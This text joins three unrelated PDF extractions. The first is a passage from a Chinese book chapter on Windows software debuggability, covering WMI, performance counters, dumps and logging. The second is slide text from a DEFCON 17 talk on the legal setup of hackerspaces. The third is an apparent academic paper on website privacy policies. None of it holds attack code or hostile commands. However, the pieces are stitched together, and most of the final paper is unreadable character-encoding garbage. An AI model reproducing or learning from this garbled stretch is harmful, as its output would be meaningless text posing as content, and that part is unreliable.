机制提供状态信息。图16-2显示了WDM模型中用来支持WMI机制的主
要部件及它们在WMI架构中的位置。其中用户态的WDM提供器负责将
来自WMI应用程序的请求转发给WDM的内核函数,这些函数在DDK文
档中称为WDM的WMI扩展。
图16-2 WDM中支持WMI的软件架构
WMI扩展会将来自用户态的请求以IRP(I/O Request Packet)的形
式发给驱动程序。所有WMI请求的主IRP号都是
IRP_MJ_SYSTEM_CONTROL,子号码(minor code)可能为如下一些
值。
IRP_MN_REGINFO或IRP_MN_REGINFO_EX:查询或者更新驱动
程序的注册信息。在驱动程序调用IoWMIRegistrationControl函数
后,系统便会向其发送这个IRP,以查询注册信息,包括数据块格
式等(见下文)。
IRP_MN_QUERY_ALL_DATA和
IRP_MN_QUERY_SINGLE_INSTANCE:查询一个数据块的所有实
例或单个实例。
IRP_MN_CHANGE_SINGLE_ITEM和
IRP_MN_CHANGE_SINGLE_INSTANCE:让驱动程序修改数据块
的一个或多个条目(item)。
IRP_MN_ENABLE_COLLECTION和
IRP_MN_DISABLE_COLLECTION:通知驱动程序开始累积或停止
累积难以收集的数据。
IRP_MN_ENABLE_EVENTS和IRP_MN_DISABLE_EVENTS:启用
或禁止事件。
IRP_MN_EXECUTE_METHOD:执行托管对象的方法。
WMI使用一种名为MOF(Managed Object Format)的语言来描述托
管对象。MOF是基于IDL(Interface Definition Language)的,熟悉
COM编程的读者知道IDL是描述COM接口的一种主要方法。MOF有它
独有的语法,使用DMTF提供的DTD(Document Type Definition)可将
MOF文件转化为XML文件。驱动程序可以将编译好的MOF以资源方式
放在驱动程序文件中,或者将其放在其他文件中,然后在注册表中通过
MofImagePath键值给出其路径,也可以直接将MOF数据包含在代码中,
然后在收到IRP_MN_QUERY_ALL_DATA或
IRP_MN_QUERY_SINGLE_INSTANCE时将格式化后的数据包返回给
WMI。
为了更方便在WDM驱动程序中支持WMI,DDK还提供了一套WMI
库,只要在驱动程序中包含头文件wmilib.h,就可以使用其中的函数,
例如WmiFireEvent和WmiCompleteRequest等。Windows SDK和DDK中
都包含了演示WMI的实例,SDK中的示例程序位于Samples\
SysMgmt\WMI\目录下,DDK的示例程序位于src\wdm\wmi目录下。
16.5.3 性能计数器
图16-3所示的是Windows的性能监视器(performance monitor)程序
的界面,只要在“开始”菜单中选择“运行”(Run)然后输入perfmon,就
可以将其调出来。图16-3中目前显示了5个性能计数器(performance
counter),单击曲线上方的加号可以选择加入其他性能计数器。在典型
的Windows系统中,通常有上千个性能计数器,分别用来观察内存、
CPU、网络服务、.NET CLR、SQL Server、Outlook、ASP.NET、
Terminal Service等部件的内部状态。
图16-3 Windows的性能监视器程序的界面
Windows的性能监视机制是可以扩展的,图16-4画出了其架构示意
图。最上面是查询性能数据的应用程序,比如PerfMon,最下面是性能
数据提供模块DLL。Windows的system32目录已经预装了一些性能数据
提供模块,比如perfos.dll(操作系统)、perfdisk.dll(磁盘)、
perfnet.dll(网络)、perfproc.dll(进程)、perfts.dll(终端服务)等。
应用软件也可以安装和注册新的性能数据提供模块(稍后讨论)。
图16-4 Windows性能监视机制的架构示意图
每个性能数据提供模块(DLL)都至少输出以下3个方法:打开
(Open)、收集(Collect)数据和关闭(Close)。具体的方法名可以
自由定义,注册时登记在注册表中。图16-5显示了PerfGen模块的注册信
息,右侧的Open、Collect和Close 3个键值指定的是PerfGen.dll(Library
键值)输出的3个函数。
图16-5 性能监视数据提供模块的注册信息
性能监视程序访问性能数据提供模块的基本方式是通过注册表
API。首先调用RegOpenKey或RegQueryValueEx API并将
HKEY_PERFORMANCE_DATA作为第一个参数。当注册表API发现要
操作的根键是HKEY_PERFORMANCE_DATA时,会将其转给所谓的性
能监视函数库,即PerfLib。比如第一次执行以下调用时,PerfLib会寻找
ID号为234的性能数据提供模块,在作者的机器上它对应的是
PhysicalDisk性能对象。
RegQueryValueEx( HKEY_PERFORMANCE_DATA,
"234", NULL, NULL, (LPBYTE) PerfData, &BufferSize )
PerfLib收到调用后,会枚举注册表中注册的所有服务,即枚举以下
表键。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
对于每个服务子键,PerfLib会试图打开它的Performance子键,如果
这个服务存在Performance子键,那么会进一步查询Performance子键下
的Object List键值(参见图16-5中PerfGen的注册表选项)。Object List键
值标识了这个性能数据提供模块所支持的性能对象ID,如果查询到的
Object List键值中包含所寻找的ID,那么PerfLib会根据Library键值中所
指定的DLL文件名加载这个模块,然后根据Open键值中指定的函数名取
得这个函数的地址并调用这个函数。因此,上面的RegQueryValueEx调
用会导致PerfLib加载perfdisk.dll,并调用它的Open方法,其函数调用序
列如清单16-9所示。
清单16-9 性能监视程序访问性能数据提供模块的过程
ChildEBP RetAddr
0012f168 77e42180 perfdisk!OpenDiskObject
0012f858 77e40e5c ADVAPI32!OpenExtObjectLibrary+0x58f
0012f9cc 77e09c8e ADVAPI32!QueryExtensibleData+0x3d8
0012fda4 77df4406 ADVAPI32!PerfRegQueryValue+0x513
0012fe94 77dd7930 ADVAPI32!LocalBaseRegQueryValue+0x306
0012feec 00401500 ADVAPI32!RegQueryValueExA+0xde
0012ff80 00403b39 PerfView!main+0x70 [c:\...\chap16\perfview\perfview.cpp
@ 212]
0012ffc0 7c816fd7 PerfView!mainCRTStartup+0xe9 [crt0.c @ 206]
0012fff0 00000000 kernel32!BaseProcessStart+0x23
性能数据提供模块的Open方法应该返回如下PERF_DATA_BLOCK
数据结构。
typedef struct _PERF_DATA_BLOCK {
WCHAR Signature[4]; //结构签名,固定为"PERF"
DWORD LittleEndian; //字节排列顺序
DWORD Version; //版本号
DWORD Revision; //校订版本号
DWORD TotalByteLength; //性能数据的总长度、字节数
DWORD HeaderLength; //本结构的长度
DWORD NumObjectTypes; //被监视的对象类型个数
DWORD DefaultObject; //要显示的默认对象序号
SYSTEMTIME SystemTime; //UTC格式的系统时间
LARGE_INTEGER PerfTime; //性能计数器的取值
LARGE_INTEGER PerfFreq; //性能计数器的频率,即每秒钟的计数器变化量
LARGE_INTEGER PerfTime100nSec; //以100ns为单位的计数器取值
DWORD SystemNameLength; //以字节为单位的系统名称长度
DWORD SystemNameOffset; //系统名称的偏移量,相对于本结构的起始地址
} PERF_DATA_BLOCK;
紧邻PERF_DATA_BLOCK数据结构的应该是一个或多个
PERF_COUNTER_DEFINITION结构,每个结构对应一个性能计数器。
当第二次调用RegQueryValueEx时,PerfLib会认为正在查询性能数
据,因此会调用性能数据提供模块的Collect方法。当查询完成后,性能
监视程序应该调用RegCloseKey API结束查询。
Windows SDK中给出了一个性能数据提供模块的例子,其名称为
PerfGen,路径为:<SDK 根目录
>\Samples\WinBase\WinNT\PerfTool\PerfDllS\PerfGen。
其实性能数据提供模块就是一个输出了前面提到的Open、Collect和
Close方法的DLL。注册一个性能数据提供模块通常需要两个步骤。第
一步是使用一个.reg文件向注册表的
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services键值下
注册服务,其结果就是在注册表中建立图16-5所示的键值。第二步是使
用一个INI文件,然后利用命令行工具lodctr来向图16-6所示的Counter和
Help键值中增加性能对象。
图16-6 PerfLib在注册表中的英语语言键值
Counter键值的每个字符串对应一个性能计数器的ID或名称,Help
键值存储了每个性能对象的说明文字的ID和内容。计数器ID和说明ID是
相邻的,前者为偶数,后者为相邻的奇数。计数器ID是从2开始的,ID
1用来表示基础索引。
为了简化性能数据提供模块的实现过程,ATL类库提供了一系列
类,如CPerfObject、CPerfMon等。MSDN中提供了如下几个实例程序来
演示这些类的用法:PerformancePersist、PerformanceCounter、
PerformanceScribble。
使用unlodctr命令可以删除一个计数器模块。例如unlodctr perfgen命
令可以删除perfgen模块注册的性能计数器。
如果PerfLib在加载某个性能数据提供模块时遇到问题,那么它会向
系统日志中加入错误消息,例如,当加载PERFGEN.DLL失败时,系统
会产生以下日志。
Event Type: Warning
Event Source: WinMgmt
Event Category: None
Event ID: 37…
Description: WMI ADAP was unable to load the perfgen.dll performance libra
ry due to an unknown problem within the library: 0x0
在软件中通过性能计数器来提高可观察性的好处是可以被所有性能
监视工具(包括PerfMon)所访问到,而且可以复用性能监视工具的图
形化显示功能。为了简化性能监视工具的编写,Windows提供了一个
PDH模块(PDH.DLL),PDH的全称是Performance Data Helper。
16.5.4 转储
16.2.3节简要地介绍过转储。可以认为转储是给被转储对象拍摄一
张快照,将被转储对象在转储发生那一时刻的特征永久定格在那里,然
后可以慢慢分析。另外,因为转储结果通常直接来自内存数据,所以转
储结果具有信息量大、准确度高等优点。16.2.3节介绍了对象转储,本
节将介绍进程转储。所谓进程转储,就是把一个进程在某一时刻的状态
存储到文件中。转储的内容通常包括进程的基本信息,进程中各个线程
的信息,每个线程的寄存器值和栈数据,进程所打开的句柄,进程的数
据段内容等。
进程转储通常用在进程发生严重错误时,比如Windows的WER机制
会在应用程序出现未处理异常时调用Dr. Watson自动产生转储(参见本
书后续分卷)。但事实上,当应用程序正常运行时,也可以进行转储,
而且这种转储不会影响应用程序继续运行。这意味着,从技术角度来
讲,完全可以通过热键或菜单项来触发一个进程让其对自身进行转储。
但这样做应该要考虑以下几个问题。
转储的过程要占用CPU时间和系统资源(磁盘访问),转储类型中
定义的信息种类越多,转储所花的开销也越大。
为了防止普通用户意外使用转储功能,最好定义一种机制,需要先
做一个准备动作(比如登录),然后才启动触发进程转储的热键或
者开启有关的菜单项。
转储中包含了应用程序的内存数据,其中可能包括用户的工作数
据。具体说,财务报表程序的转储中可能包含使用者的财务数据。
因此,应该注意转储文件的安全性和保密性。
使用WinDBG或Visual Studio 2005都可以打开并分析进程转储文
件,本书后续分卷将介绍过用户态转储文件的文件格式、产生方法和分
析方法。
16.5.5 打印或者输出调试信息
使用print这样的函数或OutputDebugString API输出调试信息对提高
软件的可观察性也是有帮助的。因为这些信息不仅可以提供变量取值等
状态信息,还可以提供代码执行位置这样的位置信息。但使用这种方法
应该注意以下几点。
努力提高输出信息的信息量,使其包含必要的上下文信息(线程
ID、模块名等)和具体的特征和状态,切忌不要频繁输出Error
happened这样的模糊信息。
信息要言简意赅,既易于理解,又不重复。重复的信息不但会对软
件的大小和运行速度造成影响,而且可能干扰调试者的注意力。
最好制订一种可以动态开启或者关闭的机制,在不需要输出信息的
时候不要输出大量信息,以免影响性能或者干扰调试。
关于重复输出某个信息的一个反面例子就是图16-7所示的某个病毒
扫描程序所输出的调试信息。根据图16-7中的时间信息可以判断出这个
程序输出的信息非常频繁,如此频繁的信息输出会明显地使系统变慢,
而且会干扰其他软件的调试。
图16-7 过多的调试信息输出
一个好的例子是当WinDBG与被调试系统成功建立内核调试会话时
WinDBG输出的描述信息。
Connected to Windows XP 2600 x86 compatible target, ptr64 FALSE
Kernel Debugger connection established. (Initial Breakpoint requested)
Symbol search path is:
SRV*d:\symbols*http://msdl.microsoft.com/download/symbols
Executable search path is:
Windows XP Kernel Version 2600 MP (1 procs) Free x86 compatible
Built by: 2600.xpsp_sp2_gdr.050301-1519
Kernel base = 0x804d8000 PsLoadedModuleList = 0x805634a0
System Uptime: not available
第1行不仅陈述了连接的事实,还说明了目标系统的基本信息,系
统是Windows XP,版本号为2600,CPU架构为x86,并且32位系统(非
64位)。第2行表示与目标系统的调试引擎握手成功,并请求了初始断
点。第3~5行输出了当前的符号搜索路径和可执行文件搜索路径。第6
行输出了目标系统的详细版本信息,MP代表启动的是支持多处理器的
内核文件,括号中1 procs表示目前有一个CPU在工作,Free代表是发行
版本(非检查版本)。第7行给出了内核文件的构建信息。第8行是内核
模块的加载地址和用来记录内核模块链表表头的全局变量
PsLoadedModuleList的取值。
之所以说以上信息较好,是因为它很好地回答了调试时经常要用到
的基本信息,比如目标系统的软硬件情况(OS版本、CPU数量),本
地路径的设置情况和内核模块链表地址等。
16.5.6 日志
与输出到屏幕上或输出到调试窗口的调试信息相比,日志具有更好
的可靠性和持久性。另外,因为日志通常是以简单的文本文件形式存储
的,所以它具有非常好的可读性和易传递性。对于需要长时间运行的系
统服务类软件,比如数据库系统或网络服务等,日志是了解其运行状态
和进行调试的重要资源。重大的事件或者异常情况通常应该写入日志,
以下是一些典型的例子。
进程或系统的启动和终止,在启动时通常会将当前的版本等重要信
息一并写到日志中。
重要工作线程的创建和退出,特别是非正常退出。
模块加载和卸载。
异常情况或检测到错误时。
日志记录也应该注意简明扼要,而且记录的数量不宜过多,因为日
志通常是要保存较长时间的,如果记录的信息太多,就不易于保存和查
阅。第15章介绍过Windows系统提供的日志功能。
本节介绍了提高软件观察性的一些常用方法,这当然不是全部,比
如使用编译器的函数进出挂钩(/Gh编译器选项)功能有利于观察程序
的执行位置。因为在设计软件和编写代码时无法完全预料错误会发生在
哪个位置和调试时希望观察什么样的信息。这就要求我们始终把软件的
可观察性记在心中,带着未雨绸缪的思想写好每一段代码,这样整个软
件的可观察性和可调试性自然就会得到提高。
16.6 自检和自动报告
本节将简要地讨论用来提高软件可调试性的另两种机制:自检(自
我诊断)和自动报告。下面先从集成电路领域的BIST说起。
16.6.1 BIST
BIST(Built-In Self-Test)是集成电路(IC)领域的一个术语,意
思是指内置在芯片内部的自我测试功能,或者说自检。很多较大规模的
集成芯片(比如CPU、芯片组等)都包含BIST机制。BIST通常在芯片
复位时自动运行,但也可以根据需要调用和运行,比如通过TAP接口可
以启动英特尔IA-32 CPU的BIST,测试结束时EAX寄存器中存放着测试
的结果,0代表测试通过。
BIST通常是对芯片而言的,对于计算机系统,通常也会实现自检机
制。事实上,在每次启动一个计算机系统时,CPU复位后首先执行的就
是所谓的POST代码(位于BIOS中),POST的含义就是上电自检
(Power On Self Test)。
自检可以防止系统在存在问题时继续工作而导致错误的计算结果和
输出结果,以免导致更严重的问题。
16.6.2 软件自检
与硬件领域的BIST类似,在软件中实现自检功能也是非常有意义
的。软件自检与单元测试不同。首先,单元测试在开发软件的过程中是
用来辅助测试的,而软件自检对于进入产品期的软件也是有意义的。其
次,单元测试主要关注某个模块(单元)的工作情况,而软件自检更关
注整个系统的完整性。
软件自检的内容应该根据每个软件的实际情况来定义,通常包括以
下内容。
组成模块的完备性(不缺少任何模块)和完整性(没有哪个模块残
缺或者被篡改)。
各个模块的版本,版本间的依赖关系是否满足运行要求。
系统运行所依赖的软硬件条件是否满足,比如依赖的硬件或者其他
基础软件是否存在并正常工作。
模块间的通信机制是否畅通。
要启动软件自检,可以在软件开始运行时自动执行,也可以提供一
个专门的工具程序或者用户界面。比如用来诊断和检查DirectX的自检
工具DXDIAG使用的就是后一种方式。执行DXDIAG后,它会启动一个
界面,其中包含很多个标签(tab),分别用来提供不同方面的检查功
能(见图16-8)。
图16-8 DirectX的自检工具
单击DXDIAG程序主界面中的带Test字样的按钮就可以测试当前系
统中的有关模块和功能,并将测试结果显示在列表中。
16.6.3 自动报告
与自检有关的一个功能是自动产生和发送报告。自动产生报告就是
让软件自己收集自己的状态信息和故障信息,并把这些信息写在文件
中。可以把转储文件看作一种二进制形式的报告。为了便于阅读,很多
软件可以产生文本文件形式的报告,或者同时使用文本文件和二进制文
件。
例如前面介绍的DirectX自检工具就可以将收集的信息和检查的结
果保存在一个文本文件中(单击图16-8中的Save All Information按
钮)。
Windows中的Msinfo32工具可以将系统的软硬件信息保存到文件
中。例如执行以下命令,Msinfo32就会以静默的方式将系统信息写入
sysinfo.txt文件中。
Msinfo32 /report c:\sysinfo.txt
通过“winmsd/?”命令可以得到Msinfo32的一个简单帮助。在测试和
调试过程中,很多时候我们需要比较多个系统的配置信息。这时,使用
DXDIAG或Msinfo32产生的信息报告是一种便捷有效的方式。
Windows的WER(Windows Error Reporting)机制是自动发送报告
的一个典型实例。自动发送报告功能的一个重要问题就是要注意不能侵
犯用户的隐私信息,在报告中不应该包含用户的标识信息,比如用户
名、地址等。另外,应该征得用户同意后才能将报告发送到自己的服务
器。
16.7 本章小结
本章讨论了在软件工程中实现软件可调试性的一些具体问题,包括
角色分工、架构方面的考虑,特别是比较详细地讨论了如何实现可追溯
性和可观察性。因为篇幅限制,本章无法讨论太多编码和实现方面的细
节。
最后要说明的是,提高软件可调试性是一项长期的投资,即使短期
内看不到明显的效益,也不应该放弃。仍然以Windows操作系统为例,
Windows操作系统流行的一个重要原因是有无比丰富且源源不断的应用
软件可以在上面运行。否则,即使一个操作系统本身的技术再好,安装
和配置再灵活,但只有很少的应用软件可以运行,它也很难流行起来。
因为人们购买一台计算机(硬件和操作系统)的目的主要是在上面安装
和使用应用软件,如办公软件、工程绘图软件等。而Windows操作系统
中有如此丰富的应用软件的一个重要原因,就是它对软件开发和调试的
良好支持。Windows不但自身有很好的可调试性,而且它为其上运行的
其他软件实现可调试性提供了强大的支持。
参考资料
[1] G Pascal Zachary. Showstopper: The Breakneck Race to Create
Windows NT and the Next Generation at Microsoft[M]. The Free Press,
1994.
[2] Robert M Metzger. Debugging by Thinking: A Multidisciplinary
Approach[M]. Elsevier Digital Press, 2003. | pdf |
Hackerspaces: The Legal Bases
nicolle neulist
(rogueclown)
DEFCON 17
August 2, 2009
a little about me
● attorney in Illinois
● founding member of
Pumping Station: One
in Chicago
● attorney for Pumping
Station: One
topics for this talk
● making your hackerspace a real legal entity
● special considerations for nonprofit
hackerspaces
● looking for a physical space
● liability concerns for when you're up and
hacking
disclaimer...or, what this talk isn't
● This talk is for informational purposes, and is
not personal legal advice. It does not create an
attorney-client relationship between me and
any of you who are listening to it.
● Even though I have made every effort to make
the content as accurate as possible, there is no
way I can address all the legal issues that may
ever come up.
● Also, the way to best address each issue often
varies by state or jurisdiction. I am only
licensed in Illinois.
what this talk is
● introduce you to the
most common issues
that arise when
starting hackerspaces
● introduce you to
common ways states
treat them
● equip you to ask the
right questions as you
start and plan your
hackerspace.
corporate formation
making your hackerspace
a real, live legal entity
why incorporate?
● not incorporating may
be tempting
– paperwork
– giving in to “the man”
● however,
incorporating
protects you!
– personal vs.
organizational liability
corporate and corporate-like forms
● nonprofit corporation
– not for profit
– does not issue stock, and cannot pay dividends
– all money must be reinvested into nonprofit purpose
– subject to state laws governing director, officer, and
member meetings
– donations may be eligible for tax deductions
corporate and corporate-like forms
● traditional corporation
– for-profit entity
– issues shares of stock, and may pay dividends on
those shares
– subject to state laws governing director, officer, and
shareholder meetings
– entity is taxed, as well as shareholders' profits
corporate and corporate-like forms
● limited liability company
– for-profit entity
– hybrid between corporation and partnership
– limits the personal liability of partners
– entity itself is not taxed, but partners' shares of the
company's assets are taxed
– gets complicated with more than a few investors
● can't issue stock certificates as evidence of owners
● consult a local tax lawyer if you decide to go
for-profit and need to decide between a
corporation and an LLC.
making your hackerspace a legal
entity
● articles of incorporation
– each state has its own form, which is normally on
the Secretary of State's website
– addendum from IRS Publication 557, for nonprofits
● IRS Employee ID Number
– http://www.irs.gov/businesses/small/article/0,,id=10
2767,00.html
● bylaws
– generally not filed with the state, but necessary to
operate
officers and directors
● corporations, both nonprofit and for-profit, must
have officers and directors
– state corporations codes prescribe how many are
necessary, and minimum qualifications
● who should your officers and directors be?
– officers really need to be involved day-to-day
– at least some directors should be involved day-to-
day
● how much authority should directors have?
– decide this early, and put it in your bylaws!
nonprofit issues
getting the most out of your
nonprofit hackerspace
reinvestment: the core of a
nonprofit
● nonprofit organization
must put the money it
receives back into the
organization to
advance its purpose
● can collect
membership fees and
donations; cannot
distribute them to
investors as profit.
nonprofit purposes
● both state and federal governments require a
nonprofit purpose in order to get the legal
advantages of a nonprofit
tax-exempt status under §501(c)(3)
● §501(c)(3) is the section of the tax code that
defines the requirements for organizations to
which donations are federally tax-deductible
● must be organized for a recognized nonprofit
purpose, and not engage in political campaign
activity
● expensive ($750), but beneficial to file within 15
months of incorporating
● dues are not deductible; donations are
state-law considerations
● charitable
registrations
● sales tax exemptions
● charitable immunity
● liability shield
provisions: to pay the
directors, or not to
pay the directors?
getting a physical space
finding a nice space is exciting,
but take time to protect yourself.
zoning
● city ordinance
governing how each
parcel of land may be
used
● know what activities
your hackerspace is
planning to do
● nonconforming use
fines
leasing
● be up-front with the
landlord
● read the lease, and
get a lawyer to read it
as well
● negotiate lease terms
to protect your
hackerspace
● get the lease in your
hackerspace's name
liability
hackerspaces are dangerous.
plan for the worst.
insurance
● insure against
– personal injury
– property damage
● often a requirement of
a lease contract—and
necessary even if it is
not a term of the
lease
● be candid with the
insurer
waivers
● members and non-members
● make sure the waiver covers:
– acknowledging that the space is dangerous
– personal responsibility for safety
– holding the hackerspace harmless if anything
happens
– competence to sign the waiver
● use plain English
● not a replacement for a culture of safety
in conclusion...
● despite the fact that i am a professional killjoy, i
know as well as you do that hackerspaces are
a lot of fun!
● as a leader of the space, it'll be a lot easier for
you to set aside your stress and have fun
building things if you make sure to cover the
legal bases as you go through the process of
starting your space.
in the words of my Constitutional
Law professor...
questions?
comments?
grievances?
catcalls? | pdf |
"!#%$'&)(*
!+-,.$/(0$/21
3452,.16)78!#%$'&9(:<;#(-
=?>@$/(01A1@BC>D-
1A3"FE?*
GIHKJ%LNM=OQPQRSUTVRXWZYU[\PI]_^`[a[\JUb`cdRXecfS:ghRfiFOQekjkHXPQJ*RX^
lRm^`imRX^ne#oVJUOpiX[a^nb`Opc.L
qsrXtvuxwyrUz{\r}|Z~QXdZ*u'mzZZ
Z|Z~'X}w2rX}z*
Z|syrXt}rXn%n}
j8RfLsS:mKK
U`Z
¡0¢£m¤¥¦¨§`©'¤Vª«£\¬V¬¢
®¯£a¬§`©'«\°.¬Vª ®±¬²kª0§`³´¤®±¬§n¤µ¶³}¥v¬¬'²§·N«¸¯¤¢¹ªº«£a¬
¬'¢»§`§¼_°/¢\£a¬©'¢¸F¢½U¬²§`®±©¼©'®±¾Z«Z¬'§?®¯£v½¢©'¦5«Z¬®¯¢£F¿IÀI¤·f¦9¦¨§¬©'®¯°Á®±£v½¢\©¦5«¬®¯¢£
«³m¢\¥v¬ ª ²§/¬'²§© ª§³=¤®±¬§n¤ºª ®±¸¯¸¤§¸¯¸%¼©®¯¾Z«Z¬'§®¯£v½¢\©¦5«Z¬'®±¢\£V¢\© £¢¬ ¸¯§`«Â}¤2¬'¢5«
¸¯§¦¨¢£m¤ ¦5«©'»§/¬ ½¢\©I¼©'®¯¾d«\°/·\¿0ÃħÁÂv®Å¤°¥}¤'¤¶¼©'®±¾Z«\°/·V¼X¢¸¯®Å°/®¯§`¤I«\¤¶¤®±Æ\£}«¸Å¤ ®¯£_«
¸¯§¦¨¢£m¤º¦¨«©»\§/¬¶«£mÂVªº«d·v¤º®±£=ª ²®Å°Ç²°¥©'©§`£\¬ ©'§`«¸±®¯È`«¬®¯¢£}¤¢½U¼©'®±¾Z«\°/·¼X¢¸¯®ÊÉ
°®±§n¤0¦5«d·¨½y«®±¸K¬'¢9³X§)§/ËK§`°/¬®¯¾§-¤®¯Æ£m«¸Å¤¿UÀI¤ «©§n¤¥}¸Ê¬ ¢½s¬²§n¤§-¤²¢©¬'°¢¦¨®¯£Æ\¤`µ
ª§°¢£}¤®ÅÂv§©«k̸¯§¦¨¢£m¤¨¦¨«©»\§/¬¨ª ®Ê¬'²¬§`¤¬®¯£Æmµ
ÍΪ ²§©'§h°/¢\£}¤¥}¦9§`©'¤9²}«d¾\§
«5°¢\¤¬I¢½:Âv§¬§©'¦¨®±£}®±£ÆVª ²§/¬'²§©«¤®±¬§Á¦9§`§/¬Ç¤ ¬²}§®¯©I¼©'®±¾Z«\°/·©§nÏ\¥}®±©'§¦¨§£a¬n¿
Ð¥©*¦¨¢vÂv§`¸§/Ñv¼¸Å«®¯£}¤U§¦¨¼®¯©'®¯°`«¸Â«¬'«)°/¢\£}°/§`©£®¯£Æ¼©'®±¾Z«°·?¼X¢¸¯®¯°®±§n¤:«£}¼©'®ÊÉ
¾Z«°·Î¤§`«¸¯¤`¿=ÃΧ§`£}ÂC³f·Ä®¯¤'°/¥}¤'¤®±£Æ_°·v°/¸¯®¯°5®¯£}¤¬'«³®±¸¯®±¬Ò·Î®¯£Ó¬²}§£f¥¦Á³X§©¢½
ª§³=¤®±¬§n¤¬²}«¬I¤§`¸±¸s°/¢£m¤¥¦¨§`©®¯£v½¢\©¦5«Z¬'®±¢\£¿
Ô
ÕÖ9×UØ*ÙÚ_Û=Ü×UÝÙÖ
Þ0ßZàvásâßVãvßä%ßZå`ævââçCßèméFæfê.ßßdëìdàí_í_ßZåìdßîïê/ðÓñKïàâæfê/ïàäò?àvó ê/ð%ßïåÁáUßZåò/àäævâ*áå/àváë
ßZå/êçvô=õ?ð%ßZçæfå/ßhìdàäìdßZåä%ßö÷ê/ðæfê5øsé%çXïyä%ãùàäâyïä%ßVîïââ0å/ßò/éâê¨ïäéämîævämê.ßö´ò.áFæví
ßí_ævïâxúXê/ð%ßïåáßZå`ò.àäævâFïyä%ópàvå`í_æfê/ïàähøUßïä%ãò.àâöÎê.àí_æfåûvßZê/ïä%ãVàvåãæväïüæfê/ïàäò)æväö
áàòò/ïøFâçVßZñvßäùê/ð%ßïåIïö%ßämê/ïêçàvåìdåßöïêIìZæfåöÎïä%óQàvåí_æfê/ïàähò/ê.àâßä*ô ý?ßìdßämêò/éå/ñvßZç
öæfê/æNïäöïyìZæfê.ßö#ê/ðæfê_þvÿàvó9ìdàäò/éíhßZå`òæfå/ßÓìdàäìdßZå`ä%ßöæføUàé%êê/ðßCíùïò/éò.ßÎàvó
ê/ð%ßïåVáUßZåò/àäævâ¶ïä%óQàvåí_æfê/ïàä÷àäâïä%ßvúæväö´áå`ïñaævìdçNìdàäìdßZå`äòVæfå/ßÎê/ð%ßùäXéíøßZå
àä%ßåßævò.àäùîð}ç_ïäFöïñKïöéævâòìðàmàò.ߨê.à=ò.ê/æçùà
ê/ð%ß
Çämê.ßZåä%ßZê
þ
Òô9ê/ðßZåòòïíháFâç
ö%ßìZïö%ßCê/ðæfê_âàòòàvóáåïñfævìdç#ïòhæväïyä%ßZñXïê/æføFâßÎìdàäFò.ßèméßäìdßÓàvóö%àïyä%ã+øséò/ïä%ßòò
ê/ð%ßò.ß+öFæçKòZô
'ó¨îß¹øUßâïßZñvßÓê/ðæfêùáUßZàváFâßÓñfævâé%ßÓáFåïñfævìdçvúîÁðmçïòhê/ð%ßZåß
ä%àvêùævä
ßÎìZïßämêí_æfå/ûvßZêóQàvåïê¹õ?ðïò¶ïyò ê/ð%ßèXé%ßò.ê/ïàä_ê/ðæfêê/ðïò¶ásæfáßZåò.ßZßZûXòê.à=ævöö%å/ßò/òô
à%úKîÁðæfê-ïòê/ð%ߨò.ê/æfê.ß5àvó2áå`ïñaævìdçhàäÄê/ð%ß5ïämê.ßZåä%ßZêZúKæväöCð%à\î
ðFævòïêßZñvàâñvßö
'ä÷àvåößZå9ê.à¹æväFò.îßZå5ê/ðFïò¨èmé%ßò/ê/ïàä*ú*îß_ä%ßZßöNæCö%ßsäïê/ïàä
àvóîÁðæfêïê¨íhßæväò¨ê.à
áå/àvê.ßìdêVáFåïñfævìdçvô%àvåê/ð%ß_áFéå/áUàò.ßò¨àvó)ê/ðïò5áFæfáUßZåú2îßÎîÁïââºö%ßsäßhê/ðïòævòVópàâÅë
âàîÁïyä%ãê/ð%ß?ó
ævïåïä%óQàvåí_æfê/ïàä=áå`ævìdê/ïìdßòIáFåïäìZïásâßòºævòIö%ßâïyä%ßæfê.ßöhøXçhê/ð%ߺõ
Òô
õ?ð%ßò.ß5áå`ïäìZïáFâßòæfå/ß
!#"
àvê/ïìdß ë%$NßZøò/ïê.ßò*áFå/àñKïö%ß¶ìdàäòéíhßZåò*îïê/ð5ìZâßæfå0æväFöìdàäò.áFïyìZé%àéò*ä%àvê/ïìdß
àvó)ê/ð%ßïåïä%óQàvåí_æfê/ïàä÷áå`ævìdê/ïìdßòZôÓõ?ðïò¨îàéâö#ïäìZâéößîðæfêVïä%óQàvåí_æfê/ïàä
ê/ð%ßZçÎìdàââßìdêZú%ð%àî
ê/ð%ßZçùìdàâyâßìdê-ïêZúmîð%ßZê/ð%ßZåê/ð%ßZç_áå/à\ñXïyö%ßÁê/ð%ß9àvê/ð%ßZå)áå/àváë
ßZå/ê/ïßòZú)îÁð%ßZê/ð%ßZå_ê/ðßZçöïò/ìZâàò/ßÓê/ðïò_ïäópàvåíùæfê/ïàäê.à#àvê/ðßZåÎßämê/ïê/ïßòZú-æväö
îÁðßZê/ð%ßZå-àvê/ð%ßZåÁßämê/ïê/ïßòÁæfå/ßVìdàââßìdê/ïyä%ã_ïä%óQàvåí_æfê/ïàäCê/ðå/àé%ãðCê/ð%ßVòïê.ßvô
!
)ðàïìdß_ë&$NßZøò/ïê.ßòàßZå_ìdàäòéíhßZåòìð%àïìdßòhævòê.à÷ð%àîê/ð%ßïåáUßZåò.àäFævâ
ïäópàvåíùæfê/ïàä
ïòÓéò.ßöøUßZçvàäö
ê/ðß´éò.ßNóQàvå¹îÁðïì`ð
ê/ð%ß´ïä%óQàvåí_æfê/ïàä
îævò
áåàñKïö%ßö*ô
!#'
ìZìdßò/ò2ë($NßZø=ò/ïê.ßò:àUßZåºìdàäò/éíhßZå`ò*å/ßævò.àäæføsâßIævìZìdßò/òê.àÁê/ðßïä%óQàvåí_æfê/ïàä
æ+ò/ïê.ßCðævòìdàâyâßìdê.ßö
æføàéêVê/ð%ßíÓú æväö8æväkàvááUàvå/ê/éäïêç÷ê.àö%ßâßZê.ßÄïêZúºàvå
ìdàvå/åßìdêÁïäævìZìZé%å`ævìZïßòZô
!
ßìZéåïêçë)$NßZø
òïê.ßòVê/æfûvßÄå/ßævò.àäFæføFâßÎò/ê.ßZáFòVê.àáå/àvê.ßìdêê/ð%ßÄò.ßìZé%åïêçNàvó
ê/ð%ßïyä%ópàvå`í_æfê/ïàäÓìdàââßìdê.ßö
ópåàíìdàäò/éíhßZå`òZô
'ä¹ÿ* * *Kúsê/ð%ß+ºõ
